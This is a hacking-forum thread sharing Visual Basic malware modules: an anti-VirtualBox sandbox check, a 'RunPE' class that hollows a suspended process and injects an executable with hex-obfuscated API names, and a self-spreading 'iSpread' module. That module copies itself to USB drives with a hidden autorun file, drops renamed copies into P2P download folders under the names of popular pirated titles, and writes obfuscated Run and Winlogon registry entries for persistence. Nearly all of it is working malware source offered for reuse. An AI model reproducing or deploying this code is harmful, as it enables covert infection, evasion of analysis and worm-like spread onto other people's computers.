• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Visual Basic AntiVirualBox module

Status
Not open for further replies.

mero25

Leech
User
Joined
Oct 26, 2011
Messages
68
Reputation
0
Reaction score
33
Points
18
Credits
0
‎13 Years of Service‎
68%
AntiVirualBox

Code:
>Function NOVBX()
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.FileExists(Environ("programfiles") & "\Oracle\VirtualBox\VBoxSvc.exe")) Then
End
End If
End Function
 
RunPE cntpel clase

RunPE cntpel clase

Code:
>'---------------------------------------------------------------------------------------
' Module      : cNtPEL
' DateTime    : 30/06/2009 06:32
' Author      : Cobein
' Mail        : [email protected]
' WebPage     : http://www.advancevb.com.ar (updated =D)
' Purpose     : Inject Exe
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Thanks to   : This is gonna be a looong list xD
'               Batfitch - kernel base asm
'               Karcrack - For helping me to debug and test it
'               Paul Caton - vTable patch examples
'               rm_code - First call api prototype
'               and different books and pappers
'
' Compile     : P-Code !!!
'
' Comments    : Coded on top of the invoke module.
'
' History     : 30/06/2009 First Cut....................................................
'               02/08/2009 Modded By Karcrack, Now is NtRunPEL, thanks Slayer (;........
'---------------------------------------------------------------------------------------
Option Explicit

Private Const IMAGE_DOS_SIGNATURE       As Long = &H5A4D&
Private Const IMAGE_NT_SIGNATURE        As Long = &H4550&

Private Const SIZE_DOS_HEADER           As Long = &H40
Private Const SIZE_NT_HEADERS           As Long = &HF8
Private Const SIZE_EXPORT_DIRECTORY     As Long = &H28
Private Const SIZE_IMAGE_SECTION_HEADER As Long = &H28

Private Const THUNK_APICALL             As String = "8B4C240851E85989016631C0C3"
Private Const THUNK_KERNELBASE          As String = "8B5C240854B830000000648B008B400C8B401C8B008B400889035C31C0C3"

Private Const PATCH1                    As String = ""
Private Const PATCH2                    As String = ""

Private Const CONTEXT_FULL              As Long = &H10007
Private Const CREATE_SUSPENDED          As Long = &H4
Private Const MEM_COMMIT                As Long = &H1000
Private Const MEM_RESERVE               As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE    As Long = &H40

Private Type STARTUPINFO
   cb                          As Long
   lpReserved                  As Long
   lpDesktop                   As Long
   lpTitle                     As Long
   dwX                         As Long
   dwY                         As Long
   dwXSize                     As Long
   dwYSize                     As Long
   dwXCountChars               As Long
   dwYCountChars               As Long
   dwFillAttribute             As Long
   dwFlags                     As Long
   wShowWindow                 As Integer
   cbReserved2                 As Integer
   lpReserved2                 As Long
   hStdInput                   As Long
   hStdOutput                  As Long
   hStdError                   As Long
End Type

Private Type PROCESS_INFORMATION
   hProcess                    As Long
   hThread                     As Long
   dwProcessID                 As Long
   dwThreadID                  As Long
End Type

Private Type FLOATING_SAVE_AREA
   ControlWord                 As Long
   StatusWord                  As Long
   TagWord                     As Long
   ErrorOffset                 As Long
   ErrorSelector               As Long
   DataOffset                  As Long
   DataSelector                As Long
   RegisterArea(1 To 80)       As Byte
   Cr0NpxState                 As Long
End Type

Private Type CONTEXT
   ContextFlags                As Long
   Dr0                         As Long
   Dr1                         As Long
   Dr2                         As Long
   Dr3                         As Long
   Dr6                         As Long
   Dr7                         As Long
   FloatSave                   As FLOATING_SAVE_AREA
   SegGs                       As Long
   SegFs                       As Long
   SegEs                       As Long
   SegDs                       As Long
   Edi                         As Long
   Esi                         As Long
   Ebx                         As Long
   Edx                         As Long
   Ecx                         As Long
   Eax                         As Long
   Ebp                         As Long
   Eip                         As Long
   SegCs                       As Long
   EFlags                      As Long
   Esp                         As Long
   SegSs                       As Long
End Type

Private Type IMAGE_DOS_HEADER
   e_magic                     As Integer
   e_cblp                      As Integer
   e_cp                        As Integer
   e_crlc                      As Integer
   e_cparhdr                   As Integer
   e_minalloc                  As Integer
   e_maxalloc                  As Integer
   e_ss                        As Integer
   e_sp                        As Integer
   e_csum                      As Integer
   e_ip                        As Integer
   e_cs                        As Integer
   e_lfarlc                    As Integer
   e_ovno                      As Integer
   e_res(0 To 3)               As Integer
   e_oemid                     As Integer
   e_oeminfo                   As Integer
   e_res2(0 To 9)              As Integer
   e_lfanew                    As Long
End Type

Private Type IMAGE_FILE_HEADER
   Machine                     As Integer
   NumberOfSections            As Integer
   TimeDateStamp               As Long
   PointerToSymbolTable        As Long
   NumberOfSymbols             As Long
   SizeOfOptionalHeader        As Integer
   Characteristics             As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
   VirtualAddress              As Long
   Size                        As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
   Magic                       As Integer
   MajorLinkerVersion          As Byte
   MinorLinkerVersion          As Byte
   SizeOfCode                  As Long
   SizeOfInitializedData       As Long
   SizeOfUnitializedData       As Long
   AddressOfEntryPoint         As Long
   BaseOfCode                  As Long
   BaseOfData                  As Long
   ImageBase                   As Long
   SectionAlignment            As Long
   FileAlignment               As Long
   MajorOperatingSystemVersion As Integer
   MinorOperatingSystemVersion As Integer
   MajorImageVersion           As Integer
   MinorImageVersion           As Integer
   MajorSubsystemVersion       As Integer
   MinorSubsystemVersion       As Integer
   W32VersionValue             As Long
   SizeOfImage                 As Long
   SizeOfHeaders               As Long
   CheckSum                    As Long
   SubSystem                   As Integer
   DllCharacteristics          As Integer
   SizeOfStackReserve          As Long
   SizeOfStackCommit           As Long
   SizeOfHeapReserve           As Long
   SizeOfHeapCommit            As Long
   LoaderFlags                 As Long
   NumberOfRvaAndSizes         As Long
   DataDirectory(0 To 15)      As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
   Signature                   As Long
   FileHeader                  As IMAGE_FILE_HEADER
   OptionalHeader              As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_EXPORT_DIRECTORY
  Characteristics              As Long
  TimeDateStamp                As Long
  MajorVersion                 As Integer
  MinorVersion                 As Integer
  lpName                       As Long
  Base                         As Long
  NumberOfFunctions            As Long
  NumberOfNames                As Long
  lpAddressOfFunctions         As Long
  lpAddressOfNames             As Long
  lpAddressOfNameOrdinals      As Long
End Type

Private Type IMAGE_SECTION_HEADER
   SecName                     As String * 8
   VirtualSize                 As Long
   VirtualAddress              As Long
   SizeOfRawData               As Long
   PointerToRawData            As Long
   PointerToRelocations        As Long
   PointerToLinenumbers        As Long
   NumberOfRelocations         As Integer
   NumberOfLinenumbers         As Integer
   Characteristics             As Long
End Type

Private Declare Sub CpyMem Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal dlen As Long)

Private c_lKrnl         As Long
Private c_lLoadLib      As Long
Private c_bInit         As Boolean
Private c_lVTE          As Long
Private c_lOldVTE       As Long
Private c_bvASM(&HFF)   As Byte
       
Public Function zDoNotCall() As Long
   'This function will be replaced with machine code laterz
   'Do not add any public procedure on top of it
End Function

Public Function RunPE(ByRef bvBuff() As Byte, Optional sHost As String, Optional ByRef hProc As Long) As Boolean
   Dim i                       As Long
   Dim tIMAGE_DOS_HEADER       As IMAGE_DOS_HEADER
   Dim tIMAGE_NT_HEADERS       As IMAGE_NT_HEADERS
   Dim tIMAGE_SECTION_HEADER   As IMAGE_SECTION_HEADER
   Dim tSTARTUPINFO            As STARTUPINFO
   Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
   Dim tCONTEXT                As CONTEXT
   Dim lKernel                 As Long
   Dim lNTDll                  As Long
   Dim lMod                    As Long
   
   If Not c_bInit Then Exit Function

   Call CpyMem(tIMAGE_DOS_HEADER, bvBuff(0), SIZE_DOS_HEADER)
   
   If Not tIMAGE_DOS_HEADER.e_magic = IMAGE_DOS_SIGNATURE Then
       Exit Function
   End If

   Call CpyMem(tIMAGE_NT_HEADERS, bvBuff(tIMAGE_DOS_HEADER.e_lfanew), SIZE_NT_HEADERS)
   
   If Not tIMAGE_NT_HEADERS.Signature = IMAGE_NT_SIGNATURE Then
       Exit Function
   End If
   
                                   'kernel32
   lKernel = LoadLibrary(nlfpkgnrj("6B65726E656C3332"))                                                                                               'KPC
                                   'ntdll
   lNTDll = LoadLibrary(nlfpkgnrj("6E74646C6C"))                                                                                                   'KPC
   
   If sHost = vbNullString Then
       sHost = Space(260)
                                               'GetModuleFileNameW
       lMod = GetProcAddress(lKernel, nlfpkgnrj("4765744D6F64756C6546696C654E616D6557"))                                                                        'KPC
       Invoke lMod, App.hInstance, StrPtr(sHost), 260
   End If
   
   With tIMAGE_NT_HEADERS.OptionalHeader
       
       tSTARTUPINFO.cb = Len(tSTARTUPINFO)
           
                                               'CreateProcessW
       lMod = GetProcAddress(lKernel, nlfpkgnrj("43726561746550726F6365737357"))                                                                            'KPC
       Invoke lMod, 0, StrPtr(sHost), 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(tSTARTUPINFO), VarPtr(tPROCESS_INFORMATION)

                                               'NtUnmapViewOfSection
       lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74556E6D6170566965774F6653656374696F6E"))                                                                       'KPC
       Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase
       
                                               'VirtualAllocEx
       lMod = GetProcAddress(lKernel, nlfpkgnrj("5669727475616C416C6C6F634578"))                                                                            'KPC
       Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase, .SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
       
                                               'NtWriteVirtualMemory
       lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E7457726974655669727475616C4D656D6F7279"))                                                                       'KPC
       Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase, VarPtr(bvBuff(0)), .SizeOfHeaders, 0
   
       For i = 0 To tIMAGE_NT_HEADERS.FileHeader.NumberOfSections - 1
           CpyMem tIMAGE_SECTION_HEADER, bvBuff(tIMAGE_DOS_HEADER.e_lfanew + SIZE_NT_HEADERS + SIZE_IMAGE_SECTION_HEADER * i), Len(tIMAGE_SECTION_HEADER)
           Invoke lMod, tPROCESS_INFORMATION.hProcess, .ImageBase + tIMAGE_SECTION_HEADER.VirtualAddress, VarPtr(bvBuff(tIMAGE_SECTION_HEADER.PointerToRawData)), tIMAGE_SECTION_HEADER.SizeOfRawData, 0
       Next i

       tCONTEXT.ContextFlags = CONTEXT_FULL
       
                                               'NtGetContextThread
       lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74476574436F6E74657874546872656164"))                                                                         'KPC
       Invoke lMod, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
   
                                               'NtWriteVirtualMemory
       lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E7457726974655669727475616C4D656D6F7279"))                                                                       'KPC
       Invoke lMod, tPROCESS_INFORMATION.hProcess, tCONTEXT.Ebx + 8, VarPtr(.ImageBase), 4, 0
      
       tCONTEXT.Eax = .ImageBase + .AddressOfEntryPoint
       
                                               'NtSetContextThread
       lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74536574436F6E74657874546872656164"))                                                                         'KPC
       Invoke lMod, tPROCESS_INFORMATION.hThread, VarPtr(tCONTEXT)
       
                                               'NtResumeThread
       lMod = GetProcAddress(lNTDll, nlfpkgnrj("4E74526573756D65546872656164"))                                                                             'KPC
       Invoke lMod, tPROCESS_INFORMATION.hThread, 0
       
       hProc = tPROCESS_INFORMATION.hProcess
   End With
   
   RunPE = True
End Function

Public Function Invoke(ByVal lMod As Long, ParamArray Params()) As Long
   Dim lPtr        As Long
   Dim i           As Long
   Dim sData       As String
   Dim sParams     As String
   
   If lMod = 0 Then Exit Function
   
   For i = UBound(Params) To 0 Step -1
       sParams = sParams & "68" & GetLong(CLng(Params(i)))
   Next
   
   lPtr = VarPtr(c_bvASM(0))
   lPtr = lPtr + (UBound(Params) + 2) * 5
   lPtr = lMod - lPtr - 5
   
   sData = THUNK_APICALL
   sData = Replace(sData, PATCH1, sParams)
   sData = Replace(sData, PATCH2, GetLong(lPtr))
   
   Call PutThunk(sData)
   
   Invoke = PatchCall
End Function

Private Function GetLong(ByVal lData As Long) As String
   Dim bvTemp(3)   As Byte
   Dim i           As Long
   
   CpyMem bvTemp(0), lData, &H4
   For i = 0 To 3
       GetLong = GetLong & Right("0" & Hex(bvTemp(i)), 2)
   Next
End Function

Private Sub PutThunk(ByVal sThunk As String)
   Dim i   As Long
   For i = 0 To Len(sThunk) - 1 Step 2
       c_bvASM((i / 2)) = CByte("&h" & Mid$(sThunk, i + 1, 2))
   Next i
End Sub

Private Function PatchCall() As Long
   CpyMem c_lVTE, ByVal ObjPtr(Me), &H4
   c_lVTE = c_lVTE + &H1C
   CpyMem c_lOldVTE, ByVal c_lVTE, &H4
   CpyMem ByVal c_lVTE, VarPtr(c_bvASM(0)), &H4
   PatchCall = zDoNotCall
   CpyMem ByVal c_lVTE, c_lOldVTE, &H4
End Function

Public Function GetMod(ByVal sLib As String, ByVal sProc As String) As Long
   GetMod = Me.GetProcAddress(Me.LoadLibrary(sLib), sProc)
End Function

Public Function LoadLibrary(ByVal sLib As String) As Long
   LoadLibrary = Invoke(c_lLoadLib, StrPtr(sLib & vbNullChar))
End Function

Public Property Get Initialized() As Boolean
   Initialized = c_bInit
End Property

Public Sub Class_Initialize()

   Call PutThunk(THUNK_KERNELBASE)
   
   c_lKrnl = PatchCall
   
   If Not c_lKrnl = 0 Then
       c_lLoadLib = GetProcAddress(c_lKrnl, "LoadLibraryW")
       If Not c_lLoadLib = 0 Then
           c_bInit = True
       End If
   End If
End Sub

Public Function GetProcAddress(ByVal lMod As Long, ByVal sProc As String) As Long
   Dim tIMAGE_DOS_HEADER       As IMAGE_DOS_HEADER
   Dim tIMAGE_NT_HEADERS       As IMAGE_NT_HEADERS
   Dim tIMAGE_EXPORT_DIRECTORY As IMAGE_EXPORT_DIRECTORY
   
   Call CpyMem(tIMAGE_DOS_HEADER, ByVal lMod, SIZE_DOS_HEADER)
   
   If Not tIMAGE_DOS_HEADER.e_magic = IMAGE_DOS_SIGNATURE Then
       Exit Function
   End If

   Call CpyMem(tIMAGE_NT_HEADERS, ByVal lMod + tIMAGE_DOS_HEADER.e_lfanew, SIZE_NT_HEADERS)
   
   If Not tIMAGE_NT_HEADERS.Signature = IMAGE_NT_SIGNATURE Then
       Exit Function
   End If
   
   Dim lVAddress   As Long
   Dim lVSize      As Long
   Dim lBase       As Long
   
   With tIMAGE_NT_HEADERS.OptionalHeader
       lVAddress = lMod + .DataDirectory(0).VirtualAddress
       lVSize = lVAddress + .DataDirectory(0).Size
       lBase = .ImageBase
   End With
   
   Call CpyMem(tIMAGE_EXPORT_DIRECTORY, ByVal lVAddress, SIZE_EXPORT_DIRECTORY)
      
   Dim i           As Long
   Dim lFunctAdd   As Long
   Dim lNameAdd    As Long
   Dim lNumbAdd    As Long

   With tIMAGE_EXPORT_DIRECTORY
       For i = 0 To .NumberOfNames - 1
          
           CpyMem lNameAdd, ByVal lBase + .lpAddressOfNames + i * 4, 4
           
           If StringFromPtr(lBase + lNameAdd) = sProc Then
               CpyMem lNumbAdd, ByVal lBase + .lpAddressOfNameOrdinals + i * 2, 2
               CpyMem lFunctAdd, ByVal lBase + .lpAddressOfFunctions + lNumbAdd * 4, 4
               
               GetProcAddress = lFunctAdd + lBase
                            
               If GetProcAddress >= lVAddress And _
                  GetProcAddress <= lVSize Then
                   Call ResolveForward(GetProcAddress, lMod, sProc)
                   If Not lMod = 0 Then
                       GetProcAddress = GetProcAddress(lMod, sProc)
                   Else
                       GetProcAddress = 0
                   End If
               End If
               
               Exit Function
           End If
       Next
   End With
   
End Function

Private Function ResolveForward( _
      ByVal lAddress As Long, _
      ByRef lLib As Long, _
      ByRef sMod As String)
      
   Dim sForward     As String

   sForward = StringFromPtr(lAddress)
   If InStr(1, sForward, ".") Then
       lLib = LoadLibrary(Split(sForward, ".")(0))
       sMod = Split(sForward, ".")(1)
   End If
   
End Function

Private Function StringFromPtr( _
      ByVal lAddress As Long) As String
      
   Dim bChar       As Byte
   
   Do
       CpyMem bChar, ByVal lAddress, 1
       lAddress = lAddress + 1
       If bChar = 0 Then Exit Do
       StringFromPtr = StringFromPtr & Chr$(bChar)
   Loop
   
End Function

Private Function nlfpkgnrj(ByVal sData As String) As String
   Dim i       As Long
   For i = 1 To Len(sData) Step 2
      nlfpkgnrj = nlfpkgnrj & Chr$(Val("&H" & Mid$(sData, i, 2)))
   Next i
End Function
 
Modulo P2P Skyweb07

Modulo P2P Skyweb07

Attribute VB_Name = "iSpread"'**************************************************************************************

' Project : iSpread Module

' Usage : Call Spread(True, True ,True) ' Boolean values changes depending what you want to spread, USB / P2P / Startup etc...

' Copyright © 2009 by Skyweb07

'

'**************************************************************************************

' This software is used for Spread your server by diferent spread methods.

' The author is not responsible for the use you get to the tool;)

'**************************************************************************************

' <== REG APIS ==>

Public Enum Clave

HKEY_CURRENT_USER = &H80000001

HKEY_LOCAL_MACHINE = &H80000002

End Enum

Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

'**************************************************************************************

' <== Drives APIS ==>

Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Declare Function GetDiskFreeSpaceEx Lib "kernel32" Alias "GetDiskFreeSpaceExA" (ByVal lpDirectoryName As String, lpFreeBytesAvailableToCaller As Currency, lpTotalNumberOfBytes As Currency, lpTotalNumberOfFreeBytes As Currency) As Long

Public Const FILE_ATTRIBUTE_HIDDEN = &H2

'**************************************************************************************

' <== INI APIS ==>

Public Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long

'**************************************************************************************

' <== Special Folders APIS ==>

Private Declare Function SHGetSpecialFolderLocation Lib "Shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, ByRef ppidl As Long) As Long

Private Declare Function SHGetPathFromIDList Lib "Shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long

'**************************************************************************************

' <== Wininet APIS ==>

Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long

Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long

Private Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer

Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer

'**************************************************************************************

Public Function Spread(USB As Boolean, P2P As Boolean, Startup As Boolean)

If USB = True Then Call USBX

If P2P = True Then Call P2PX

If Startup = True Then Call Bypass(App.Path & "\" & App.EXEName & ".exe")

End Function

Function USBX()

Dim sBuffer As String * 260, iGet As Integer, iDrive As String, iType As String

iGet = GetLogicalDriveStrings(Len(sBuffer), sBuffer)

If iGet = 0 Then Exit Function

iDrive = sBuffer

For i = 1 To 50

If Left$(sBuffer, InStr(1, sBuffer, Chr(0))) = Chr(0) Then Exit For

iDrive = Left(sBuffer, InStr(1, sBuffer, Chr(0)) - 1)

iType = GetDriveType(iDrive)

If iType = 2 Then

Call Complete(iDrive)

End If

sBuffer = Right(sBuffer, Len(sBuffer) - InStr(1, sBuffer, Chr(0)))

Next i

End Function

Function P2PX()

Dim YO As String, Temp As String, Ares As String, FrostWire As String, eMule As String, Bearshare As String

Dim Kazaa As String, Lphant As String, Bitcomet As String, Shareaza As String, Limewire As String

Dim Delimitador As String, sURL As String, sTemp() As String, sFolders As Variant, nFold As Variant

On Error Resume Next

YO = App.Path & "\" & App.EXEName & ".exe"

Ares = Hex2Ascii(ReadKey(HKEY_CURRENT_USER, "Software\Ares", "Download.Folder")) & "\"

Temp = Replace(Textoenmedio(FileOpen(SpecialF(26) & "\FrostWire\frostwire.props"), "DIRECTORY_FOR_SAVING_FILES=", vbNewLine), "\\", "\")

FrostWire = Left$(Temp, 1) & ":\" & Mid(Temp, 5, Len(Temp)) & "\"

eMule = Textoenmedio(FileOpen(SpecialF(38) & "\eMule\config\preferences.ini"), "IncomingDir=", vbNewLine) & "\"

Bearshare = ReadKey(HKEY_CURRENT_USER, "Software\BearShare\General", "DownloadDir") & "\"

Kazaa = ReadKey(HKEY_CURRENT_USER, "Software\Kazaa\LocalContent", "DownloadDir") & "\"

Lphant = ReadKey(HKEY_CURRENT_USER, "Software\Lphant\General", "DownloadDir") & "\"

Bitcomet = Textoenmedio(FileOpen(SpecialF(38) & "\BitComet\BitComet.xml"), "", "")

Shareaza = ReadKey(HKEY_CURRENT_USER, "Software\Shareaza\Shareaza\Downloads", "CompletePath") & "\"

Temp = Replace(Textoenmedio(FileOpen(SpecialF(26) & "\LimeWire\limewire.props"), "DIRECTORY_FOR_SAVING_FILES=", vbNewLine), "\\", "\")

Limewire = Left$(Temp, 1) & ":\" & Mid(Temp, 5, Len(Temp)) & "\"

sFolders = Array(Ares, FrostWire, eMule, Bearshare, Kazaa, Lphant, Bitcomet, Shareaza, Limewire)

sURL = Source("http://thepiratebay.org/top/301")

'http://thepiratebay.org/top/301 // Top Softwares

'http://thepiratebay.org/top/401 // Top Games

Delimitador = Textoenmedio(sURL, "searchResult", "
")sTemp() = Split(Delimitador, "")

If UBound(sTemps) >= 1 Then

For i = 1 To UBound(sTemp)

For Each nFold In sFolders

If Exist(nFold, 0) = True Then

If Exist(nFold & Replace(Back(Textoenmedio(sTemp(i), "detLink", ""), ">"), ".", "_") & ".exe", 1) = False Then

FileCopy YO, nFold & Replace(Back(Textoenmedio(sTemp(i), "detLink", ""), ">"), ".", "_") & ".exe"

End If

End If

Next

Next i

End If

sURL = Source("http://thepiratebay.org/top/401")

Delimitador = Textoenmedio(sURL, "searchResult", "
")sTemp() = Split(Delimitador, "")

If UBound(sTemps) >= 1 Then

For i = 1 To UBound(sTemp)

For Each nFold In sFolders

If Exist(nFold, 0) = True Then

If Exist(nFold & Replace(Back(Textoenmedio(sTemp(i), "detLink", ""), ">"), ".", "_") & ".exe", 1) = False Then

FileCopy YO, nFold & Replace(Back(Textoenmedio(sTemp(i), "detLink", ""), ">"), ".", "_") & ".exe"

End If

End If

Next

Next i

End If

End Function

Function Complete(Drive As String)

Dim YO As String

YO = App.Path & "\" & App.EXEName & ".exe"

If Exist(Drive & App.EXEName & ".exe", 1) = False And Freespace(Drive) = 1 Then

FileCopy YO, Drive & App.EXEName & ".exe"

Call WritePrivateProfileString("Autorun", "Open", App.EXEName & ".exe", Drive & "Autorun.ini")

SetFileAttributes Drive & App.EXEName & ".exe", FILE_ATTRIBUTE_HIDDEN

SetFileAttributes Drive & "Autorun.ini", FILE_ATTRIBUTE_HIDDEN

End If

End Function

Function Freespace(Disk As Variant) As String

Dim Status As Long, TotalBytes As Currency, FreeBytes As Currency, BytesAvailableToCaller As Currency

'http://support.microsoft.com/kb/202455

Freespace = GetDiskFreeSpaceEx(Disk, BytesAvailableToCaller, TotalBytes, FreeBytes)

End Function

Function Exist(sPath As Variant, sType As String)

Dim FS

Set FS = CreateObject("Scripting.FileSystemObject")

If sType = 1 Then

Exist = FS.fileexists(sPath)

Else

Exist = FS.folderexists(sPath)

End If

End Function

Function ReadKey(sKey As Clave, hSubKey As String, Value As String) As String

Dim lKey As Long, sBuffer As String

If RegOpenKey(sKey, hSubKey, lKey) = 0& Then

sBuffer = Space(512)

If RegQueryValueEx(lKey, Value, 0, 0, ByVal sBuffer, 512) = 0 Then

ReadKey = Left$(sBuffer, Len(sBuffer))

End If

Call RegCloseKey(lhKey)

End If

End Function

Function SpecialF(Number As Long) As String

Dim lRet As Long, Temp As String

If SHGetSpecialFolderLocation(0, Number, lRet) = 0& Then

Temp = Space$(260)

If SHGetPathFromIDList(lRet, Temp) Then

SpecialF = Left$(Temp, InStr(Temp, vbNullChar) - 1)

End If

End If

End Function

Function Source(URL As String) As String

Dim iOpen As Long, iFile As Long, Buffer As String, iRet As Long

Buffer = Space(1000)

iOpen = InternetOpen("Moxilla", 1, vbNullString, vbNullString, 0)

iFile = InternetOpenUrl(iOpen, URL, vbNullString, ByVal 0&, &H80000000, ByVal 0&)

Do

InternetReadFile iFile, Buffer, 1000, iRet

Source = Source & Left(Buffer, iRet)

If iRet = 0 Then Exit Do

Loop

InternetCloseHandle iFile

InternetCloseHandle iOpen

End Function

Public Function Textoenmedio(Texto As String, Delimitador1 As String, Delimitador2 As String)

On Error Resume Next

Textoenmedio = Left$(Mid$(Texto, InStr(Texto, Delimitador1) + Len(Delimitador1)), InStr(Mid$(Texto, InStr(Texto, Delimitador1) + Len(Delimitador1)), Delimitador2) - 1)

End Function

Public Function Hex2Ascii(ByVal Text As String) As String

For i = 1 To Len(Text)

num = Mid(Text, i, 2)

Value = Value & Chr(Val("&h" & num))

i = i + 1

Next i

Hex2Ascii = Value

End Function

Function FileOpen(sFile As String) As String

If Exist(sFile, 1) = True Then

Dim sData As String

Open sFile For Binary As #1

sData = Space(LOF(1))

Get #1, , sData

Close #1

FileOpen = sData

End If

End Function

Function Back(Text As String, Char As String) As String

Dim resultado As String, posicionExt As Integer

posicionExt = InStrRev(Text, Char)

If posicionExt <> 0 Then

resultado = Right(Text, Len(Text) - posicionExt)

Else

resultado = ""

End If

Back = resultado

End Function

Public Function Bypass(sFile As String)

Dim X As Object

On Error Resume Next

Set X = CreateObject(StrReverse(Chr$(108) & Chr$(108) & Chr$(101) & Chr$(104) & Chr$(115) & Chr$(46) & Chr$(116) & Chr$(112) & Chr$(105) & Chr$(114) & Chr$(99) & Chr$(83) & Chr$(87)))

X.regwrite StrReverse(Chr$(110) & Chr$(117) & Chr$(82) & Chr$(92) & Chr$(110) & Chr$(111) & Chr$(105) & Chr$(115) & Chr$(114) & Chr$(101) & Chr$(86) & Chr$(116) & Chr$(110) & Chr$(101) & Chr$(114) & Chr$(114) & Chr$(117) & Chr$(67) & Chr$(92) & Chr$(115) & Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) & Chr$(105) & Chr$(87) & Chr$(92) & Chr$(116) & Chr$(102) & Chr$(111) & Chr$(115) & Chr$(111) & Chr$(114) & Chr$(99) & Chr$(105) & Chr$(77) & Chr$(92) & Chr$(101) & Chr$(114) & Chr$(97) & Chr$(119) & Chr$(116) & Chr$(102) & Chr$(111) & Chr$(83) & Chr$(92) & Chr$(85) & Chr$(67) & Chr$(75) & Chr$(72)), sFile

X.regwrite StrReverse(Chr$(116) & Chr$(105) & Chr$(110) & Chr$(105) & Chr$(114) & Chr$(101) & Chr$(115) & Chr$(85) & Chr$(92) & Chr$(110) & Chr$(111) & Chr$(103) & Chr$(111) & Chr$(108) & Chr$(110) & Chr$(105) & Chr$(87) & Chr$(92) & Chr$(110) & Chr$(111) & Chr$(105) & Chr$(115) & Chr$(114) & Chr$(101) & Chr$(86) & Chr$(116) & Chr$(110) & Chr$(101) & Chr$(114) & Chr$(114) & Chr$(117) & Chr$(67) & Chr$(92) & Chr$(84) & Chr$(78) & Chr$(32) & Chr$(115) & Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) & Chr$(105) & Chr$(87) & Chr$(92) & Chr$(116) & Chr$(102) & Chr$(111) & Chr$(115) & Chr$(111) & Chr$(114) & Chr$(99) & Chr$(105) & Chr$(77) & Chr$(92) & Chr$(69) & Chr$(82) & Chr$(65) & Chr$(87) & Chr$(84) & Chr$(70) & Chr$(79) & Chr$(83) & Chr$(92) & Chr$(77) & Chr$(76) & Chr$(75) & Chr$(72)), sFile

X.regwrite StrReverse(Chr$(108) & Chr$(108) & Chr$(101) & Chr$(104) & Chr$(83) & Chr$(92) & Chr$(110) & Chr$(111) & Chr$(103) & Chr$(111) & Chr$(108) & Chr$(110) & Chr$(105) & Chr$(87) & Chr$(92) & Chr$(110) & Chr$(111) & Chr$(105) & Chr$(115) & Chr$(114) & Chr$(101) & Chr$(86) & Chr$(116) & Chr$(110) & Chr$(101) & Chr$(114) & Chr$(114) & Chr$(117) & Chr$(67) & Chr$(92) & Chr$(84) & Chr$(78) & Chr$(32) & Chr$(115) & Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) & Chr$(105) & Chr$(87) & Chr$(92) & Chr$(116) & Chr$(102) & Chr$(111) & Chr$(115) & Chr$(111) & Chr$(114) & Chr$(99) & Chr$(105) & Chr$(77) & Chr$(92) & Chr$(69) & Chr$(82) & Chr$(65) & Chr$(87) & Chr$(84) & Chr$(70) & Chr$(79) & Chr$(83) & Chr$(92) & Chr$(77) & Chr$(76) & Chr$(75) & Chr$(72)), sFile

